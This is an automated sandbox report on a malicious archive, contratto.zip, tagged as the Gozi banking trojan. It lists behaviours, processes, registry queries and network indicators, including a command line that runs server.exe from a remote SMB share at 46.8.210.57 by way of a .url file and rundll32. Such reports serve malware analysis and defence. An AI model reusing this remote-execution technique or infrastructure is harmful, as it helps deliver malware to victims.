Analysis Overview
SHA256
120b092e8d8212a7c0e796ac320dd10c56c8b801aa8fb234cb577d5f0dabc05c
Threat Level: Known bad
The file contratto.zip was found to be: Known bad.
Malicious Activity Summary
Gozi
Checks computer location settings
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Suspicious behavior: GetForegroundWindowSpam
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2023-03-08 13:23
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-03-08 13:23
Reported
2023-03-08 13:25
Platform
win7-20230220-en
Max time kernel
128s
Max time network
31s
Command Line
Signatures
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\rundll32.exe | N/A |
Processes
C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\contratto\contratto.url
Network
Files
memory/1740-54-0x0000000002400000-0x0000000002401000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-03-08 13:23
Reported
2023-03-08 13:25
Platform
win10v2004-20230220-en
Max time kernel
143s
Max time network
146s
Command Line
Signatures
Gozi
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\rundll32.exe | N/A |
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1220 wrote to memory of 4732 | N/A | C:\Windows\System32\rundll32.exe | \??\UNC\46.8.210.57\Agenzia\server.exe |
| PID 1220 wrote to memory of 4732 | N/A | C:\Windows\System32\rundll32.exe | \??\UNC\46.8.210.57\Agenzia\server.exe |
| PID 1220 wrote to memory of 4732 | N/A | C:\Windows\System32\rundll32.exe | \??\UNC\46.8.210.57\Agenzia\server.exe |
Processes
C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\contratto\contratto.url
\??\UNC\46.8.210.57\Agenzia\server.exe
"\\46.8.210.57\Agenzia\server.exe"
Network
| Country | Destination | Domain | Proto |
| RU | 46.8.210.57:445 | tcp | |
| US | 209.197.3.8:80 | tcp | |
| US | 8.8.8.8:53 | 76.38.195.152.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 57.210.8.46.in-addr.arpa | udp |
| US | 8.8.8.8:53 | checklist.skype.com | udp |
| US | 8.8.8.8:53 | 176.122.125.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 164.2.77.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.36.159.162.in-addr.arpa | udp |
| NL | 52.178.17.3:443 | tcp | |
| US | 8.8.8.8:53 | 58.104.205.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 32.146.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.8.0.0.0.0.0.0.0.0.0.0.0.0.0.0.3.0.0.0.4.0.c.0.0.3.0.1.3.0.6.2.ip6.arpa | udp |
| US | 8.8.8.8:53 | 86.8.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.232.229.192.in-addr.arpa | udp |
| US | 209.197.3.8:80 | tcp | |
| US | 8.8.8.8:53 | 234.238.32.23.in-addr.arpa | udp |
| RU | 62.173.138.6:80 | tcp | |
| US | 209.197.3.8:80 | tcp | |
| US | 209.197.3.8:80 | tcp | |
| US | 8.8.8.8:53 | 177.238.32.23.in-addr.arpa | udp |
| NL | 173.223.113.164:443 | tcp |
Files
memory/4732-134-0x0000000000590000-0x000000000059B000-memory.dmp
memory/4732-135-0x00000000005F0000-0x00000000005FD000-memory.dmp
memory/4732-138-0x0000000000400000-0x000000000044C000-memory.dmp